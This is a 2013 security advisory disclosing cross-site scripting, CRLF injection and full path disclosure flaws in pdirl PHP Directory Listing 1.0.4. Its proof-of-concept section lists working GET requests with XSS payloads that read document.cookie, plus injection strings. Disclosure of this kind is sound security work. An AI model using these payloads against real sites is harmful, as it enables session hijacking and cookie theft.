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Document Title:
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===============
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pdirl PHP Directory Listing 1.0.4 - Cross Site Scripting Web Vulnerabilities
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References (Source):
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====================
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http://www.vulnerability-lab.com/get_content.php?id=1130
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Release Date:
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=============
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2013-11-01
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Vulnerability Laboratory ID (VL-ID):
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====================================
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1130
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Common Vulnerability Scoring System:
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====================================
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3.4
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Product & Service Introduction:
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===============================
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pdirl (PHPDirListing) is a tiny directory listing program. It is meant to be better looking and more useful than the
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directory listings produced by Apache. I didn`t want to reinvent the wheel so I looked for an existing PHP script and
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I ve found PHPDL by Greg Johnson, I added some features to it. (1.0.x is no longer based on PHPDL.)
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(Copy of the Vendor Homepage: http://pdirl.newroots.de/ )
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Abstract Advisory Information:
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==============================
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An independent Vulnerability Laboratory Researcher discovered multiple web vulnerabilities in the pdirl PHP Listing v1.0.4 web-application.
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Vulnerability Disclosure Timeline:
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==================================
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2013-11-01: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Affected Product(s):
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====================
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Greg Johnson
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Product: pdirl PHP Listing - Web Application 1.0.4
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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Medium
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Technical Details & Description:
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================================
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Multiple client-side cross site scripting vulnerabilities are detected in the official pdirl PHP Directory Listing web-application.
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The vulnerability allows remote attackers to manipulate via GET method web-application to browser requests (client-side).
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The client-side cross site scripting web vulnerability is located in the vulnerable index.php file and the id path value.
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Remote attackers can manipulate the `index.php` file GET method request with the vulnerable ./pdirl path value to compromise
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client-side web application context.
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Successful exploitation of the client-side cross site scripting web vulnerability results in session hijacking, client-side
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phishing, client-side unauthorized external redirects and client-side manipulation of the contact formular module context.
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Vulnerable Module(s):
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[+] .pdirl
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Vulnerable File(s):
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[+] index.php
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Vulnerable Path:
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[+] ../icons/
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[+] ../icons/default
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[+] ../template/
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[+] ../template/default
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[+] ../.pdirl/templates
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Proof of Concept (PoC):
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=======================
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The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without privileged web application user
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account but with low user interaction. For demonstration or to reproduce ...
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PoC: CS Cross Site Scripting
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GET /[PATH]/?"onmouseover='prompt(7331)'bad="> HTTP/1.1
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GET /[PATH]/.pdirl/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
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GET /[PATH]/.pdirl/icons/?</title>1<ScRiPt>prompt(document.cookie)</ScRiPt> HTTP/1.1
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GET /[PATH]/.pdirl/icons/default/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
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GET /[PATH]/.pdirl/templates/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
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GET /[PATH]/.pdirl/templates/default/?</title>1<ScRiPt>prompt(document.cookie)</ScRiPt> HTTP/1.1
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GET /[PATH]/index.php/%22onmouseover%3d'prompt(document.cookie)'bad%3d%22> HTTP/1.1
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GET /[PATH]/index.php?directory=.pdirl/templates/%22%20onmouseover%3dprompt(7331)%20bad%3d%22 HTTP/1.1
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PoC: CRLF injection/HTTP Response Splitting
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GET /[PATH]/index.php?directory=%0d%0a%20[CSRF:FORM:INJECT!]&sortkey=name
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PoC: Full Path Disclosure Links
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GET /[PATH]/index.php?directory='"\'\");|]*{%0d%0a<%00>%bf%27'&sortkey=name&sortorder=SORT_DESC HTTP/1.1
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GET /[PATH]/index.php?directory='"\'\");|]*{%0d%0a<%00>%bf%27'&gosearch=Search... HTTP/1.1
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GET /[PATH]/index.php?directory=./&gosearch='"\'\");|]*{%0d%0a<%00>%bf%27' HTTP/1.1
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GET /[PATH]/index.php?directory=./?directory=./&search=..%c0%af HTTP/1.1
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Security Risk:
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==============
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1.1
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The security risk of the client-side cross site scripting web vulnerabilities are estimated as medium.
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1.2
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The security risk of the client-side cross site request forgery web vulnerability is estimated as medium(-).
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1.3
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The security risk of the full path disclosure issue is estimated as low.
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Credits & Authors:
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==================
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lincoln.dll (linc0ln.dll@hotmail.com) [www.hackinq.pl]
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
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or trade with fraud/stolen material.
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Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
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Copyright <20> 2013 | Vulnerability Laboratory [Evolution Security]
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--
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VULNERABILITY LABORATORY RESEARCH TEAM
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DOMAIN: www.vulnerability-lab.com
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CONTACT: research@vulnerability-lab.com |